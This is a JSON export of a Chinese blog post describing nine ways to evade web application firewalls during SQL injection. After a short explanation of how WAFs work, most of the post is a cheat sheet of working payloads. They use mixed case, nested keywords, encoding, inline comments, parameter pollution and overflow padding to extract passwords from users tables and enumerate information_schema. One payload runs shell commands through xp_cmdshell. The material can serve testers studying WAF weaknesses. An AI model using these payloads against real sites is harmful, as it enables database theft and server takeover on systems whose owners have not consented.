{"id":207438,"date":"2020-12-22T10:22:28","date_gmt":"2020-12-22T02:22:28","guid":{"rendered":"https:\/\/lrxjmw.cn\/?p=207438"},"modified":"2020-12-21T10:23:06","modified_gmt":"2020-12-21T02:23:06","slug":"bypass-application-firewall","status":"publish","type":"post","link":"https:\/\/lrxjmw.cn\/bypass-application-firewall.html","title":{"rendered":"\u8fd99\u79cd\u65b9\u5f0f\u53ef\u4ee5\u7ed5\u8fc7Web\u5e94\u7528\u7a0b\u5e8f\u9632\u706b\u5899"},"content":{"rendered":"\n\n\n
\u5bfc\u8bfb<\/td>\nWeb\u5e94\u7528\u7a0b\u5e8f\u9632\u706b\u5899(WAF)\u7684\u4e3b\u8981\u4f5c\u7528\u662f\u8fc7\u6ee4\uff0c\u76d1\u63a7\u548c\u963b\u6b62\u5404\u7c7b\u8fdb\u51faWeb\u5e94\u7528\u7a0b\u5e8f\u7684HTTP\u6d41\u91cf\u3002WAF\u533a\u522b\u4e8e\u5e38\u89c4\u9632\u706b\u5899\uff0c\u56e0\u4e3aWAF\u80fd\u591f\u8fc7\u6ee4\u7279\u5b9aWeb\u5e94\u7528\u7a0b\u5e8f\u7684\u5185\u5bb9\uff0c\u800c\u5e38\u89c4\u9632\u706b\u5899\u5145\u5f53\u7684\u5219\u662f\u670d\u52a1\u5668\u4e4b\u95f4\u7684\u5b89\u5168\u95e8\u3002\u901a\u8fc7\u68c0\u67e5HTTP\u6d41\u91cf\uff0c\u5b83\u53ef\u4ee5\u9632\u6b62\u6e90\u81eaWeb\u5e94\u7528\u5b89\u5168\u6f0f\u6d1e\u7684\u653b\u51fb\uff0c\u5982SQL\u6ce8\u5165\uff0cXSS\uff0c\u6587\u4ef6\u5305\u542b\u548c\u5b89\u5168\u914d\u7f6e\u9519\u8bef\u3002<\/strong><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\"\"<\/p>\n

Web\u5e94\u7528\u7a0b\u5e8f\u9632\u706b\u5899WAF\u662f\u5982\u4f55\u5de5\u4f5c\u7684?<\/strong><\/div>\n

1. \u534f\u8bae\u5f02\u5e38\u68c0\u6d4b\uff1a\u62d2\u7edd\u4e0d\u7b26\u5408HTTP\u6807\u51c6\u7684\u8bf7\u6c42
\n2. \u589e\u5f3a\u7684\u8f93\u5165\u9a8c\u8bc1\uff1a\u4ee3\u7406\u548c\u670d\u52a1\u5668\u7aef\u9a8c\u8bc1\uff0c\u800c\u4e0d\u4ec5\u4ec5\u662f\u5ba2\u6237\u7aef\u9a8c\u8bc1
\n3. \u767d\u540d\u5355\u548c\u9ed1\u540d\u5355
\n4. \u57fa\u4e8e\u89c4\u5219\u548c\u57fa\u4e8e\u5f02\u5e38\u7684\u4fdd\u62a4\uff1a\u57fa\u4e8e\u89c4\u5219\u7684\u66f4\u4f9d\u8d56\u9ed1\u540d\u5355\u673a\u5236\uff0c\u57fa\u4e8e\u5f02\u5e38\u5219\u66f4\u7075\u6d3b
\n5. \u72b6\u6001\u7ba1\u7406\uff1a\u5173\u6ce8\u4f1a\u8bdd\u4fdd\u62a4\u8fd8\u6709\uff1aCookie\u4fdd\u62a4\uff0c\u53cd\u5165\u4fb5\u89c4\u907f\u6280\u672f\uff0c\u54cd\u5e94\u76d1\u63a7\u548c\u4fe1\u606f\u62ab\u9732\u4fdd\u62a4\u3002<\/p>\n

\u5982\u4f55\u7ed5\u8fc7WAF?<\/strong><\/div>\n

1. \u5f53\u6211\u4eec\u5728\u76ee\u6807URL\u8fdb\u884cSQL\u6ce8\u5165\u6d4b\u8bd5\u65f6\uff0c\u53ef\u4ee5\u901a\u8fc7\u4fee\u6539\u6ce8\u5165\u8bed\u53e5\u4e2d\u5b57\u6bcd\u7684\u5927\u5c0f\u5199\u6765\u89e6\u53d1WAF\u4fdd\u62a4\u60c5\u51b5\u3002\u5982\u679cWAF\u4f7f\u7528\u533a\u5206\u5927\u5c0f\u5199\u7684\u9ed1\u540d\u5355\uff0c\u5219\u66f4\u6539\u5927\u5c0f\u5199\u53ef\u80fd\u4f1a\u5e2e\u6211\u4eec\u6210\u529f\u7ed5\u8fc7WAF\u7684\u8fc7\u6ee4\u3002<\/p>\n

http:\/\/www.xxxxx.com\/index.php?page_id=-15 uNIoN sELecT 1,2,3,4<\/pre>\n

2. \u5173\u952e\u5b57\u66ff\u6362(\u5728\u5173\u952e\u5b57\u4e2d\u95f4\u53ef\u63d2\u5165\u5c06\u4f1a\u88abWAF\u8fc7\u6ee4\u7684\u5b57\u7b26) \u2013 \u4f8b\u5982SELECT\u53ef\u63d2\u5165\u53d8\u6210SEL<\/p>\n

http:\/\/www.xxxxx.com\/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4<\/pre>\n

3. \u7f16\u7801<\/p>\n

\r\n+ URL encode\r\n\u3000\u3000page.php?id=1%252f%252a*\/UNION%252f%252a \/SELECT +Hex encode\r\n\u3000\u3000www.xxxxx.com\/index.php?page_id=-15 \/*!u%6eion*\/ \/*!se%6cect*\/ 1,2,3,4\u2026  \u3000SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) +Unicode encode\r\n\u3000\u3000?id=10%D6\u2018%20AND%2201=2%23   \u3000SELECT '?'='A'; #1\r\n<\/pre>\n

4. \u4f7f\u7528\u6ce8\u91ca<\/p>\n

\u5728\u653b\u51fb\u5b57\u7b26\u4e32\u4e2d\u63d2\u5165\u6ce8\u91ca\u3002\u4f8b\u5982\uff0c\/*!SELECT*\/ \u8fd9\u6837WAF\u53ef\u80fd\u5c31\u4f1a\u5ffd\u7565\u8be5\u5b57\u7b26\u4e32\uff0c\u4f46\u5b83\u4ecd\u4f1a\u88ab\u4f20\u9012\u7ed9\u76ee\u6807\u5e94\u7528\u7a0b\u5e8f\u5e76\u4ea4\u7531mysql\u6570\u636e\u5e93\u5904\u7406\u3002<\/p>\n

\r\nindex.php?page_id=-15 %55nION\/**\/%53ElecT 1,2,3,4\u3000   \u3000'union%a0select pass from users#  index.php?page_id=-15 \/*!UNION*\/ \/*!SELECT*\/ 1,2,3   \u3000?page_id=null%0A\/**\/\/*!50000%55nIOn*\/\/*yoyu*\/all\/**\/%0A\/*!%53eLEct*\/%0A\/*nnaa*\/+1,2,3,4\u2026\r\n<\/pre>\n

5. \u67d0\u4e9b\u51fd\u6570\u6216\u547d\u4ee4\uff0c\u56e0\u4e3aWAF\u7684\u8fc7\u6ee4\u673a\u5236\u5bfc\u81f4\u6211\u4eec\u65e0\u6cd5\u4f7f\u7528\u3002\u90a3\u4e48\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u5c1d\u8bd5\u7528\u4e00\u4e9b\u7b49\u4ef7\u51fd\u6570\u6765\u66ff\u4ee3\u5b83\u4eec\u3002<\/p>\n

\r\nhex()\u3001bin() ==> ascii()   sleep() ==>benchmark()   concat_ws()==>group_concat()  substr((select 'password'),1,1) = 0x70   \u3000strcmp(left('password',1), 0x69) = 1      strcmp(left('password',1), 0x70) = 0   \u3000strcmp(left('password',1), 0x71) = -1 mid()\u3001substr() ==> substring()  @@user ==> user()  @@datadir ==> datadir()\r\n<\/pre>\n

6. \u4f7f\u7528\u7279\u6b8a\u7b26\u53f7<\/p>\n

\u8fd9\u91cc\u6211\u628a\u975e\u5b57\u6bcd\u6570\u5b57\u7684\u5b57\u7b26\u90fd\u89c4\u5728\u4e86\u7279\u6b8a\u7b26\u53f7\u4e00\u7c7b\uff0c\u7279\u6b8a\u7b26\u53f7\u6709\u7279\u6b8a\u7684\u542b\u4e49\u548c\u7528\u6cd5\u3002<\/p>\n

+ ` symbol: select `version()`; + +- :select+id-1+1.from users; + @:select@^1.from users; +Mysql function() as xxx +`\u3001~\u3001!\u3001@\u3001%\u3001()\u3001[]\u3001.\u3001-\u3001+ \u3001|\u3001%00 \u793a\u4f8b\r\n\u3000\u3000\u2018se\u2019+\u2019lec\u2019+\u2019t\u2019   %S%E%L%E%C%T 1   1.aspx?id=1;EXEC(\u2018ma\u2019+'ster..x\u2019+'p_cm\u2019+'dsh\u2019+'ell \u201dnet user\u201d\u2019)  ' or --+2=- -!!!'2    \u3000 id=1+(UnI)(oN)+(SeL)(EcT)\r\n<\/pre>\n

7. HTTP\u53c2\u6570\u63a7\u5236
\n\u3000\u3000
\n\u901a\u8fc7\u63d0\u4f9b\u591a\u4e2a\u53c2\u6570=\u76f8\u540c\u540d\u79f0\u7684\u503c\u96c6\u6765\u6df7\u6dc6WAF\u3002\u4f8b\u5982 http:\/\/www.xxxxx.com?id=1&?id=\u2019 or \u20181\u2019=\u20191\u2032 \u2014 \u2018\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b(\u4f8b\u5982\u4f7f\u7528Apache\/PHP)\uff0c\u5e94\u7528\u7a0b\u5e8f\u5c06\u4ec5\u89e3\u6790\u6700\u540e(\u7b2c\u4e8c\u4e2a) id= \u800cWAF\u53ea\u89e3\u6790\u7b2c\u4e00\u4e2a\u3002\u5728\u5e94\u7528\u7a0b\u5e8f\u770b\u6765\u8fd9\u4f3c\u4e4e\u662f\u4e00\u4e2a\u5408\u6cd5\u7684\u8bf7\u6c42\uff0c\u56e0\u6b64\u5e94\u7528\u7a0b\u5e8f\u4f1a\u63a5\u6536\u5e76\u5904\u7406\u8fd9\u4e9b\u6076\u610f\u8f93\u5165\u3002\u5982\u4eca\uff0c\u5927\u591a\u6570\u7684WAF\u90fd\u4e0d\u4f1a\u53d7\u5230HTTP\u53c2\u6570\u6c61\u67d3(HPP)\u7684\u5f71\u54cd\uff0c\u4f46\u4ecd\u7136\u503c\u5f97\u4e00\u8bd5\u3002<\/p>\n

+ HPP(HTTP Parameter Polution))<\/p>\n

\r\n\u3000\u3000\/?id=1;select+1,2,3+from+users+where+id=1\u2014   \u3000\/?id=1;select+1&id=2,3+from+users+where+id=1\u2014   \u3000\/?id=1\/**\/union\/*&id=*\/select\/*&id=*\/pwd\/*&id=*\/from\/*&id=*\/users<\/pre>\n

HPP\u53c8\u79f0\u505a\u91cd\u590d\u53c2\u6570\u6c61\u67d3\uff0c\u6700\u7b80\u5355\u7684\u5c31\u662f?uid=1&uid=2&uid=3\uff0c\u5bf9\u4e8e\u8fd9\u79cd\u60c5\u51b5\uff0c\u4e0d\u540c\u7684Web\u670d\u52a1\u5668\u5904\u7406\u65b9\u5f0f\u5982\u4e0b\uff1a<\/p>\n

+HPF (HTTP Parameter Fragment)<\/p>\n

\u8fd9\u79cd\u65b9\u6cd5\u662fHTTP\u5206\u5272\u6ce8\u5165\uff0c\u540cCRLF\u6709\u76f8\u4f3c\u4e4b\u5904(\u4f7f\u7528\u63a7\u5236\u5b57\u7b26%0a\u3001%0d\u7b49\u6267\u884c\u6362\u884c)<\/p>\n

\/?a=1+union\/*&b=*\/select+1,pass\/*&c=*\/from+users--   select * from table where a=1 union\/* and b=*\/select 1,pass\/* limit *\/from users\u2014<\/pre>\n

+HPC (HTTP Parameter Contamination)
\nRFC2396\u5b9a\u4e49\u4e86\u4ee5\u4e0b\u5b57\u7b26\uff1a
\nUnreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' () Reserved : ; \/ ? : @ & = + $ , Unwise : { } | \\ ^ [ ] ` <\/code>\u4e0d\u540c\u7684Web\u670d\u52a1\u5668\u5904\u7406\u5904\u7406\u6784\u9020\u5f97\u7279\u6b8a\u8bf7\u6c42\u65f6\u6709\u4e0d\u540c\u7684\u903b\u8f91\uff1a\u4ee5\u9b54\u672f\u5b57\u7b26%\u4e3a\u4f8b\uff0cAsp\/Asp.net\u4f1a\u53d7\u5230\u5f71\u54cd\u3002<\/p>\n

8. \u7f13\u51b2\u533a\u6ea2\u51fa<\/p>\n

WAF\u548c\u5176\u4ed6\u6240\u6709\u7684\u5e94\u7528\u7a0b\u5e8f\u4e00\u6837\u4e5f\u5b58\u5728\u7740\u5404\u79cd\u7f3a\u9677\u548c\u6f0f\u6d1e\u3002\u5982\u679c\u51fa\u73b0\u7f13\u51b2\u533a\u6ea2\u51fa\u7684\u60c5\u51b5\uff0c\u90a3\u4e48WAF\u53ef\u80fd\u5c31\u4f1a\u5d29\u6e83\uff0c\u5373\u4f7f\u4e0d\u80fd\u4ee3\u7801\u6267\u884c\u90a3\u4e5f\u4f1a\u4f7fWAF\u65e0\u6cd5\u6b63\u5e38\u8fd0\u884c\u3002\u8fd9\u6837\uff0cWAF\u7684\u5b89\u5168\u9632\u62a4\u81ea\u7136\u4e5f\u5c31\u88ab\u74e6\u89e3\u4e86\u3002<\/p>\n

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26<\/pre>\n

9. \u6574\u5408\u7ed5\u8fc7<\/p>\n

\u5f53\u4f7f\u7528\u5355\u4e00\u7684\u65b9\u5f0f\u65e0\u6cd5\u7ed5\u8fc7\u65f6\uff0c\u6211\u4eec\u5219\u53ef\u4ee5\u7075\u6d3b\u7684\u5c06\u591a\u79cd\u65b9\u5f0f\u7ed3\u5408\u5728\u4e00\u8d77\u5c1d\u8bd5\u3002<\/p>\n

www.xxxxx.com\/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 \"A\")..])+\/*!uNIOn*\/+\/*!SeLECt*\/+1,2,3,4\u2026   id=1\/*!UnIoN*\/+SeLeCT+1,2,concat(\/*!table_name*\/)+FrOM \/*information_schema*\/.tables \/*!WHERE *\/+\/*!TaBlE_ScHeMa*\/+like+database()\u2013 -   ?id=-725+\/*!UNION*\/+\/*!SELECT*\/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+\/*!INFORMATION_SCHEM*\/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--<\/pre>\n","protected":false},"excerpt":{"rendered":"

1. \u534f\u8bae\u5f02\u5e38\u68c0\u6d4b\uff1a\u62d2\u7edd\u4e0d\u7b26\u5408HTTP\u6807\u51c6\u7684\u8bf7\u6c42 2. \u589e\u5f3a\u7684\u8f93\u5165\u9a8c\u8bc1\uff1a\u4ee3\u7406\u548c\u670d\u52a1\u5668\u7aef\u9a8c\u8bc1\uff0c\u800c\u4e0d\u4ec5\u4ec5\u662f\u5ba2\u6237\u7aef\u9a8c […]<\/p>\n","protected":false},"author":1903,"featured_media":207464,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[55],"tags":[],"class_list":["post-207438","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-thread"],"acf":[],"_links":{"self":[{"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/posts\/207438","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/users\/1903"}],"replies":[{"embeddable":true,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/comments?post=207438"}],"version-history":[{"count":3,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/posts\/207438\/revisions"}],"predecessor-version":[{"id":207466,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/posts\/207438\/revisions\/207466"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/media\/207464"}],"wp:attachment":[{"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/media?parent=207438"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/categories?post=207438"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/tags?post=207438"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}